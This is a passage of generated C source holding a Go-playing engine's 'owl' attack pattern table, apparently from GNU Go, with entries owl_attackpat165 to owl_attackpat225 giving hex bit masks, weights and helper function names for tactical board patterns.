0x1000010,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat165,8,4, "A917",-1,-2,2,1,3,3,0x0,1,-1, { 0xc0f0fc30, 0xfcf0c000, 0xfc3f0c00, 0x0c3ffc30, 0xc0f0fc30, 0xfcf0c000, 0xfc3f0c00, 0x0c3ffc30}, { 0x80200820, 0x08208000, 0x80220800, 0x08228020, 0x80200820, 0x08208000, 0x80220800, 0x08228020} , 0x1000010,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat166,7,8, "A918",-1,-2,2,1,3,3,0x0,1,-1, { 0xc0f0fc00, 0xfcf0c000, 0xfc3f0c00, 0x0c3cfc30, 0xc0f0fc30, 0xfcf0c000, 0xfc3c0c00, 0x0c3ffc00}, { 0x80200800, 0x08208000, 0x80220800, 0x08208020, 0x80200820, 0x08208000, 0x80200800, 0x08228000} , 0x1000010,40.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat167,4,4, "A1001",0,0,1,1,1,1,0x0,1,0, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00240800, 0x00209000, 0x80600000, 0x18200000, 0x90200000, 0x08240000, 0x00201800, 0x00608000} , 0x1000020,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat167,3,1.096000}, {owl_attackpat168,4,4, "A1001b",0,0,1,1,1,1,0x0,1,0, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00240800, 0x00209000, 0x80600000, 0x18200000, 0x90200000, 0x08240000, 0x00201800, 0x00608000} , 0x1000020,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat168,3,3.000000}, {owl_attackpat169,5,8, "A1002",-1,-3,1,0,2,3,0x0,0,-2, { 0x00f0f000, 0xf0f00000, 0x3c3f0000, 0x003c3c30, 0x00f0f030, 0xf0f00000, 0x3c3c0000, 0x003f3c00}, { 0x00209000, 0x80600000, 0x18200000, 0x00240800, 0x00608000, 0x90200000, 0x08240000, 0x00201800} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat169,3,3.160000}, {owl_attackpat170,5,8, "A1003",-1,-3,1,0,2,3,0x0,0,-2, { 0x00f0f000, 0xf0f00000, 0x3c3f0000, 0x003c3c30, 0x00f0f030, 0xf0f00000, 0x3c3c0000, 0x003f3c00}, { 0x00209000, 0x80600000, 0x18200000, 0x00240800, 0x00608000, 0x90200000, 0x08240000, 0x00201800} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat170,3,2.800000}, {owl_attackpat171,5,8, "A1005",-1,-1,1,0,2,1,0x0,0,-1, { 0xc0f0f000, 0xfcf00000, 0x3c3c0c00, 0x003cfc00, 0x00f0fc00, 0xf0f0c000, 0xfc3c0000, 0x0c3c3c00}, { 0x80102000, 0x08900000, 0x20100800, 0x00188000, 0x00900800, 0x20108000, 0x80180000, 0x08102000} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat171,0,1.810000}, {owl_attackpat172,7,4, "A1006",0,-1,2,1,2,2,0x0,1,0, { 0x00fcfc30, 0xf0f0f000, 0xfcfc0000, 0x3c3f3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3f3c00, 0x00fcfc30}, { 0x00980000, 0x20102000, 0x00980000, 0x20102000, 0x20102000, 0x00980000, 0x20102000, 0x00980000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat173,7,4, "A1006b",0,-1,2,1,2,2,0x0,1,0, { 0x00fcfc30, 0xf0f0f000, 0xfcfc0000, 0x3c3f3c00, 0xf0f0f000, 0xfcfc0000, 0x3c3f3c00, 0x00fcfc30}, { 0x00980000, 0x20102000, 0x00980000, 0x20102000, 0x20102000, 0x00980000, 0x20102000, 0x00980000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat173,0,0.010000}, {owl_attackpat174,4,4, "A1008",-1,-1,0,1,1,2,0x0,-1,0, { 0xfc300000, 0x0c3c0c00, 0x0030fc00, 0xc0f0c000, 0x0c3c0c00, 0x0030fc00, 0xc0f0c000, 0xfc300000}, { 0x88100000, 0x08100800, 0x00108800, 0x80108000, 0x08100800, 0x00108800, 0x80108000, 0x88100000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat174,0,0.016000}, {owl_attackpat175,8,8, "A1008b",-1,0,1,2,2,2,0x0,0,1, { 0x2a3f3c00, 0x00f8f838, 0xf0f0a000, 0xbcbc0000, 0xf8f80000, 0x3c3f2a00, 0x00bcbcb0, 0xa0f0f000}, { 0x00221000, 0x00600020, 0x10200000, 0x00240000, 0x00600000, 0x10220000, 0x00240020, 0x00201000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat175,3,0.376000}, {owl_attackpat176,8,8, "A1009",0,-1,1,2,1,3,0x2,0,1, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00920000, 0x20100020, 0x00180000, 0x00102000, 0x00102000, 0x00920000, 0x20100020, 0x00180000} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat176,0,1.000000}, {owl_attackpat177,9,8, "A1010",-1,-2,1,0,2,2,0x2,0,-1, { 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0x00fcfcfc, 0x00fcfcfc, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00}, { 0x10200000, 0x00240000, 0x00201200, 0x00600080, 0x00240008, 0x00201000, 0x00600000, 0x12200000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat177,3,1.000000}, {owl_attackpat178,6,4, "A1011",0,-1,1,1,1,2,0x2,1,0, { 0x00fc7400, 0x70f07000, 0x74fc0000, 0x343c3400, 0x70f07000, 0x74fc0000, 0x343c3400, 0x00fc7400}, { 0x00980000, 0x20102000, 0x00980000, 0x20102000, 0x20102000, 0x00980000, 0x20102000, 0x00980000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat178,0,0.016000}, {owl_attackpat179,9,8, "A1012",-1,-1,1,2,2,3,0x0,0,1, { 0xf0ffbc00, 0xbcfcf030, 0xf8fc3c00, 0x3cfcf800, 0xf0fcbc00, 0xbcfff000, 0xf8fc3c30, 0x3cfcf800}, { 0x80611800, 0x18608010, 0x90240800, 0x08249000, 0x80601800, 0x18618000, 0x90240810, 0x08249000} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat179,3,1.006000}, {owl_attackpat180,6,8, "A1013",-1,0,1,2,2,2,0x0,1,1, { 0x0c3f3c00, 0x00f0fc30, 0xf0f0c000, 0xfc3c0000, 0xfcf00000, 0x3c3f0c00, 0x003cfc30, 0xc0f0f000}, { 0x04202000, 0x00a00400, 0x20204000, 0x40280000, 0x04a00000, 0x20200400, 0x00284000, 0x40202000} , 0x1000000,10.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat180,3,2.890000}, {owl_attackpat181,12,8, "A1014",0,-4,1,1,1,5,0x2,1,-1, { 0x00f4fc00, 0xf0f0d000, 0xff7f0000, 0x1c3c3c3c, 0xd0f0f0f0, 0xfcf40000, 0x3c3c1c00, 0x007fff00}, { 0x00102000, 0x00900000, 0x20100000, 0x00180000, 0x00900000, 0x20100000, 0x00180000, 0x00102000} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat181,0,0.019600}, {owl_attackpat182,8,8, "A1015",0,0,1,3,1,3,0x0,0,2, { 0x003f3f00, 0x00f0f0f0, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3f3f0000, 0x003c3c3c, 0x00f0f000}, { 0x00202000, 0x00a00000, 0x20200000, 0x00280000, 0x00a00000, 0x20200000, 0x00280000, 0x00202000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat182,3,1.096000}, {owl_attackpat183,7,8, "A1016",0,-2,1,1,1,3,0x2,1,0, { 0x0070fc00, 0xd0f0c000, 0xfe370000, 0x0c3c1c38, 0xc0f0d0b0, 0xfc700000, 0x1c3c0c00, 0x0037fe00}, { 0x00100800, 0x00108000, 0x80120000, 0x08100020, 0x80100020, 0x08100000, 0x00100800, 0x00128000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat183,0,0.902176}, {owl_attackpat184,6,8, "A1100",0,0,2,1,2,1,0x0,1,1, { 0x003c3c3c, 0x00f0f000, 0xf0f00000, 0x3f3f0000, 0xf0f00000, 0x3c3c0000, 0x003f3f00, 0x00f0f0f0}, { 0x00240018, 0x00201000, 0x00600000, 0x12210000, 0x10200000, 0x00240000, 0x00211200, 0x00600090} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat184,3,1.810000}, {owl_attackpat185,7,4, "A1101",-1,0,1,2,2,2,0x0,0,1, { 0x3f3f0c00, 0x003cfc3c, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0c3f3f00, 0x00f0fcf0, 0xf0f0c000}, { 0x00110800, 0x00108010, 0x80100000, 0x08100000, 0x80100000, 0x08110000, 0x00100810, 0x00108000} , 0x1000000,93.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat185,0,5.000000}, {owl_attackpat186,7,4, "A1101b",-1,0,1,2,2,2,0x0,0,1, { 0x3f3f0c00, 0x003cfc3c, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0c3f3f00, 0x00f0fcf0, 0xf0f0c000}, { 0x00110800, 0x00108010, 0x80100000, 0x08100000, 0x80100000, 0x08110000, 0x00100810, 0x00108000} , 0x1000000,94.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat186,0,1.816000}, {owl_attackpat187,4,8, "A1101c",-1,-1,0,1,1,2,0x0,-1,0, { 0xfc300000, 0x0c3c0c00, 0x0030fc00, 0xc0f0c000, 0x0c3c0c00, 0x0030fc00, 0xc0f0c000, 0xfc300000}, { 0x44200000, 0x04200400, 0x00204400, 0x40204000, 0x04200400, 0x00204400, 0x40204000, 0x44200000} , 0x1000000,81.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat187,3,1.160000}, {owl_attackpat188,7,8, "A1102",-1,0,1,2,2,2,0x0,0,1, { 0x3f3f0c00, 0x003cfc3c, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0c3f3f00, 0x00f0fcf0, 0xf0f0c000}, { 0x02110800, 0x00108018, 0x80100000, 0x08100000, 0x80100000, 0x08110200, 0x00100890, 0x00108000} , 0x1000000,95.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat188,0,3.000000}, {owl_attackpat189,9,8, "A1104",-1,-1,1,1,2,2,0x0,0,1, { 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00}, { 0x64900000, 0x24180400, 0x00186400, 0x40906000, 0x04182400, 0x00906400, 0x60904000, 0x64180000} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat189,0,1.600000}, {owl_attackpat190,12,8, "A1105",-1,-1,2,1,3,2,0x2,0,1, { 0xfcfc7c7c, 0x7cfcfc00, 0xf4fcfc00, 0xfffff500, 0xfcfc7c00, 0x7cfcfc00, 0xf5ffff00, 0xfcfcf4f4}, { 0x40902400, 0x24904000, 0x60180400, 0x04186000, 0x40902400, 0x24904000, 0x60180400, 0x04186000} , 0x1000000,85.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat190,0,1.600000}, {owl_attackpat191,15,8, "A1106",-1,-1,2,2,3,3,0x2,0,2, { 0xfcff7f5f, 0x7cfcfcf0, 0xf4fcfc00, 0xfffdf500, 0xfcfc7c00, 0x7ffffc00, 0xf5fdff3f, 0xfcfcf4d4}, { 0x50982400, 0x24946000, 0x60981400, 0x24586000, 0x60942400, 0x24985000, 0x60582400, 0x14986000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat191,0,1.960000}, {owl_attackpat192,4,4, "A1107",0,0,1,1,1,1,0x0,0,1, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00102400, 0x00904000, 0x60100000, 0x04180000, 0x40900000, 0x24100000, 0x00180400, 0x00106000} , 0x1000000,95.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat192,0,3.048000}, {owl_attackpat193,6,8, "A1107b",-2,0,1,1,3,1,0x0,-1,0, { 0x3c3c3c00, 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00, 0xf0f0f000}, { 0x00102400, 0x00904000, 0x60100000, 0x04180000, 0x40900000, 0x24100000, 0x00180400, 0x00106000} , 0x1000000,96.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat193,0,0.662800}, {owl_attackpat194,6,8, "A1107c",-1,0,1,1,2,1,0x0,-1,1, { 0x3c3c3c00, 0x00fcfc00, 0xf0f0f000, 0xfcfc0000, 0xfcfc0000, 0x3c3c3c00, 0x00fcfc00, 0xf0f0f000}, { 0x00102400, 0x00904000, 0x60100000, 0x04180000, 0x40900000, 0x24100000, 0x00180400, 0x00106000} , 0x1000000,60.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat194,0,0.662800}, {owl_attackpat195,5,8, "A1108",0,-1,1,1,1,2,0x0,1,-1, { 0x003cfc00, 0xc0f0f000, 0xfcf00000, 0x3c3c0c00, 0xf0f0c000, 0xfc3c0000, 0x0c3c3c00, 0x00f0fc00}, { 0x00241800, 0x00609000, 0x90600000, 0x18240000, 0x90600000, 0x18240000, 0x00241800, 0x00609000} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat195,3,0.610000}, {owl_attackpat196,16,8, "A1109",-1,-2,2,2,3,4,0x2,1,0, { 0xd0faffff, 0xfcf4e0e0, 0xffbc1c00, 0x2f7fff0f, 0xe0f4fcc0, 0xfffad000, 0xff7f2f2f, 0x1cbcffff}, { 0x80600000, 0x18200000, 0x01240800, 0x00209004, 0x00201840, 0x00608000, 0x90200000, 0x08240100} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat196,3,0.610000}, {owl_attackpat197,11,8, "A1110",0,-3,1,2,1,5,0x2,1,-1, { 0x00fcfa00, 0xf0f0b080, 0xbfff0000, 0x383c3c3c, 0xb0f0f0f0, 0xfafc0000, 0x3c3c3808, 0x00ffbf00}, { 0x00241000, 0x00601000, 0x10600000, 0x10240000, 0x10600000, 0x10240000, 0x00241000, 0x00601000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat198,21,8, "A1111",-2,-2,2,2,4,4,0x4,0,-1, { 0xffffff3f, 0xfffdffff, 0xfcffffdc, 0xfffffcf0, 0xfffdff3c, 0xffffffdf, 0xfcffffff, 0xfffffcf0}, { 0x68180400, 0x04186800, 0x4090a400, 0xa4904000, 0x68180400, 0x04186800, 0x4090a400, 0xa4904000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat199,12,8, "A1112",-1,-1,1,2,2,3,0x2,-1,1, { 0xffffff00, 0xfcfcfcfc, 0xfcfcfc00, 0xfcfcfc00, 0xfcfcfc00, 0xffffff00, 0xfcfcfcfc, 0xfcfcfc00}, { 0x81900000, 0x28100004, 0x00180800, 0x0010a000, 0x00102800, 0x00908100, 0xa0100040, 0x08180000} , 0x1000000,50.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat199,0,1.000000}, {owl_attackpat200,15,8, "A1113",-2,-2,2,2,4,4,0x0,-1,-1, { 0xfcfcf400, 0xffff7f00, 0x7ffffcfd, 0xf4fcfc3c, 0x7ffffff1, 0xf4fcfcfc, 0xfcfcf400, 0xfcff7f00}, { 0x00100000, 0x02110000, 0x00110018, 0x00100010, 0x00110210, 0x00100090, 0x00100000, 0x00110000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat200,0,0.016000}, {owl_attackpat201,15,8, "A1114",-2,-2,2,2,4,4,0x0,-1,0, { 0xfcfcf400, 0xfdff7f00, 0x7ffffcf5, 0xf4fcfc3c, 0x7ffffdf1, 0xf4fcfc7c, 0xfcfcf400, 0xfcff7f00}, { 0x80100000, 0x08110000, 0x00110810, 0x00108010, 0x00110810, 0x00108010, 0x80100000, 0x08110000} , 0x1000000,81.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat201,0,0.016000}, {owl_attackpat202,15,8, "A1115",-1,-1,2,2,3,3,0x0,1,0, { 0x5f3ffffd, 0xc4f4fcfc, 0xfcf0d400, 0xff7f4f00, 0xfcf4c400, 0xff3f5f00, 0x4f7ffffd, 0xd4f0fcfc}, { 0x04294400, 0x40206410, 0x44a04000, 0x64200400, 0x64204000, 0x44290400, 0x04206410, 0x40a04400} , 0x1000000,81.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat203,10,8, "A1116",-1,-1,2,1,3,2,0x0,1,-1, { 0x30fcfc54, 0xf0fcf000, 0xfcfc3000, 0x3dfd3d00, 0xf0fcf000, 0xfcfc3000, 0x3dfd3d00, 0x30fcfc54}, { 0x20641800, 0x10689000, 0x90642000, 0x18a41000, 0x90681000, 0x18642000, 0x10a41800, 0x20649000} , 0x1000000,90.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat203,3,1.096000}, {owl_attackpat204,5,8, "A1117",-1,-1,0,1,1,2,0x0,-1,0, { 0xfc3c0000, 0x0c3c3c00, 0x00f0fc00, 0xf0f0c000, 0x3c3c0c00, 0x003cfc00, 0xc0f0f000, 0xfcf00000}, { 0x84180000, 0x08102400, 0x00904800, 0x60108000, 0x24100800, 0x00188400, 0x80106000, 0x48900000} , 0x1000020,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat204,0,3.000000}, {owl_attackpat205,8,8, "A1118",-1,-1,1,1,2,2,0x2,0,1, { 0xf0fcfc00, 0xfcfcf000, 0xfcfc3c00, 0x3cfcfc00, 0xf0fcfc00, 0xfcfcf000, 0xfcfc3c00, 0x3cfcfc00}, { 0x90600000, 0x18240000, 0x00241800, 0x00609000, 0x00241800, 0x00609000, 0x90600000, 0x18240000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat205,3,1.600000}, {owl_attackpat206,5,8, "A1119",0,0,1,2,1,2,0x0,0,1, { 0x003c2f00, 0x00b0f0c0, 0xe0f00000, 0x3c380000, 0xf0b00000, 0x2f3c0000, 0x00383c0c, 0x00f0e000}, { 0x00200200, 0x00200080, 0x00200000, 0x00200000, 0x00200000, 0x02200000, 0x00200008, 0x00200000} , 0x1000020,36.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat206,3,0.256336}, {owl_attackpat207,7,8, "A1120",-3,0,0,3,3,3,0x0,-1,1, { 0x3f3c0000, 0x003c3f0f, 0x00f0f0c0, 0xf0f00000, 0x3f3c0000, 0x003c3f0f, 0x00f0f0c0, 0xf0f00000}, { 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000, 0x00200000} , 0x1000000,65.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat207,3,0.024300}, {owl_attackpat208,7,8, "A1121",-1,0,1,2,2,2,0x0,0,1, { 0x3f3f0c00, 0x003cfc3c, 0xc0f0f000, 0xfcf00000, 0xfc3c0000, 0x0c3f3f00, 0x00f0fcf0, 0xf0f0c000}, { 0x11200400, 0x00244004, 0x40201000, 0x04600000, 0x40240000, 0x04201100, 0x00600440, 0x10204000} , 0x1000000,35.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat208,3,0.021760}, {owl_attackpat209,6,8, "A1122",0,0,2,1,2,1,0x0,1,0, { 0x003c3c3c, 0x00f0f000, 0xf0f00000, 0x3f3f0000, 0xf0f00000, 0x3c3c0000, 0x003f3f00, 0x00f0f0f0}, { 0x00200008, 0x00200000, 0x00200000, 0x02200000, 0x00200000, 0x00200000, 0x00200200, 0x00200080} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat209,3,6.010000}, {owl_attackpat210,7,8, "A1123",0,-2,1,1,1,3,0x2,1,0, { 0x0070fc00, 0xd0f0c000, 0xfe370000, 0x0c3c1c38, 0xc0f0d0b0, 0xfc700000, 0x1c3c0c00, 0x0037fe00}, { 0x00100800, 0x00108000, 0x80120000, 0x08100020, 0x80100020, 0x08100000, 0x00100800, 0x00128000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat210,0,1.096000}, {owl_attackpat211,4,8, "A1124",0,-1,2,1,2,2,0x0,1,1, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00180000, 0x00102000, 0x00900000, 0x20100000, 0x20100000, 0x00180000, 0x00102000, 0x00900000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat211,0,0.667600}, {owl_attackpat212,4,8, "A1124a",0,-1,2,1,2,2,0x0,1,0, { 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000}, { 0x00180000, 0x00102000, 0x00900000, 0x20100000, 0x20100000, 0x00180000, 0x00102000, 0x00900000} , 0x1000000,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat212,0,0.667600}, {owl_attackpat213,12,8, "A1125",-2,-1,1,2,3,3,0x0,-1,0, { 0xfcfe3c00, 0x3dfdfd20, 0xf0fcfc54, 0xfcfcf000, 0xfdfd3d00, 0x3cfefc54, 0xf0fcfc20, 0xfcfcf000}, { 0x44982000, 0x24902400, 0x20984400, 0x60186000, 0x24902400, 0x20984400, 0x60186000, 0x44982000} , 0x1000000,76.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,0,0.000000}, {owl_attackpat214,4,4, "A1126",-1,-1,0,1,1,2,0x0,-1,0, { 0xfc300000, 0x0c3c0c00, 0x0030fc00, 0xc0f0c000, 0x0c3c0c00, 0x0030fc00, 0xc0f0c000, 0xfc300000}, { 0x44200000, 0x04200400, 0x00204400, 0x40204000, 0x04200400, 0x00204400, 0x40204000, 0x44200000} , 0x1000000,55.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat214,3,1.160000}, {owl_attackpat215,5,8, "A1127",-1,-1,0,1,1,2,0x0,-1,0, { 0xfc3c0000, 0x0c3c3c00, 0x00f0fc00, 0xf0f0c000, 0x3c3c0c00, 0x003cfc00, 0xc0f0f000, 0xfcf00000}, { 0x48240000, 0x04201800, 0x00608400, 0x90204000, 0x18200400, 0x00244800, 0x40209000, 0x84600000} , 0x1000020,70.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat215,3,1.369456}, {owl_attackpat216,8,8, "A1128",0,-1,1,2,1,3,0x0,0,1, { 0x00ffff00, 0xf0f0f0f0, 0xfcfc0000, 0x3c3c3c00, 0xf0f0f000, 0xffff0000, 0x3c3c3c3c, 0x00fcfc00}, { 0x00628800, 0x90208020, 0x88240000, 0x08201800, 0x80209000, 0x88620000, 0x18200820, 0x00248800} , 0x1000000,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat216,3,0.970000}, {owl_attackpat217,15,8, "A1129",-1,-1,2,2,3,3,0x0,-1,1, { 0x7dfffffc, 0xf4fcfcf4, 0xfcfcf400, 0xffff7f00, 0xfcfcf400, 0xffff7d00, 0x7fffff7c, 0xf4fcfcfc}, { 0x10a49040, 0xa0641000, 0x18681000, 0x10642900, 0x1064a000, 0x90a41000, 0x29641000, 0x10681804} , 0x1000000,86.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat217,3,1.000000}, {owl_attackpat218,4,8, "A1201",0,-1,1,1,1,2,0x0,1,-1, { 0x0030fc00, 0xc0f0c000, 0xfc300000, 0x0c3c0c00, 0xc0f0c000, 0xfc300000, 0x0c3c0c00, 0x0030fc00}, { 0x00102400, 0x00904000, 0x60100000, 0x04180000, 0x40900000, 0x24100000, 0x00180400, 0x00106000} , 0x1000000,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat218,0,0.016000}, {owl_attackpat219,4,8, "A1203",-1,-1,0,1,1,2,0x0,-1,0, { 0x30fc0000, 0x303c3000, 0x00fc3000, 0x30f03000, 0x303c3000, 0x00fc3000, 0x30f03000, 0x30fc0000}, { 0x00640000, 0x10201000, 0x00640000, 0x10201000, 0x10201000, 0x00640000, 0x10201000, 0x00640000} , 0x1000010,80.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat219,3,0.016000}, {owl_attackpat220,4,8, "A1204",-1,-1,0,1,1,2,0x0,-1,0, { 0x30fc0000, 0x303c3000, 0x00fc3000, 0x30f03000, 0x303c3000, 0x00fc3000, 0x30f03000, 0x30fc0000}, { 0x00640000, 0x10201000, 0x00640000, 0x10201000, 0x10201000, 0x00640000, 0x10201000, 0x00640000} , 0x1000010,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat220,3,0.034000}, {owl_attackpat221,4,8, "A1205",-1,0,0,1,1,1,0x0,-1,0, { 0x3c3c0000, 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000, 0xf0f00000}, { 0x08240000, 0x00201800, 0x00608000, 0x90200000, 0x18200000, 0x00240800, 0x00209000, 0x80600000} , 0x1000010,75.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat221,3,0.610000}, {owl_attackpat222,4,8, "A1206",-1,0,0,1,1,1,0x0,-1,0, { 0x3c3c0000, 0x003c3c00, 0x00f0f000, 0xf0f00000, 0x3c3c0000, 0x003c3c00, 0x00f0f000, 0xf0f00000}, { 0x08240000, 0x00201800, 0x00608000, 0x90200000, 0x18200000, 0x00240800, 0x00209000, 0x80600000} , 0x1000010,30.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat222,3,0.630160}, {owl_attackpat223,9,8, "A1207",-1,-2,1,0,2,2,0x0,0,-1, { 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00, 0x00fcfcfc, 0x00fcfcfc, 0xf0f0f000, 0xfcfc0000, 0x3f3f3f00}, { 0x20209000, 0x80680000, 0x18202000, 0x00a40800, 0x00688000, 0x90202000, 0x08a40000, 0x20201800} , 0x1000000,45.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,1,NULL,autohelperowl_attackpat223,3,1.000000}, {owl_attackpat224,15,8, "A1208",-2,-2,1,1,3,3,0x2,0,-1, { 0xf8fcfc00, 0xfffefa00, 0xffffbfac, 0xbcfcfcfc, 0xfafefffc, 0xfcfcf8e8, 0xfcfcbc00, 0xbfffff00}, { 0x00240000, 0x01201000, 0x00600204, 0x10200080, 0x10200108, 0x00240040, 0x00201000, 0x02600000} , 0x1000000,40.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0.000000,0,NULL,NULL,3,0.000000}, {owl_attackpat225,8,8, 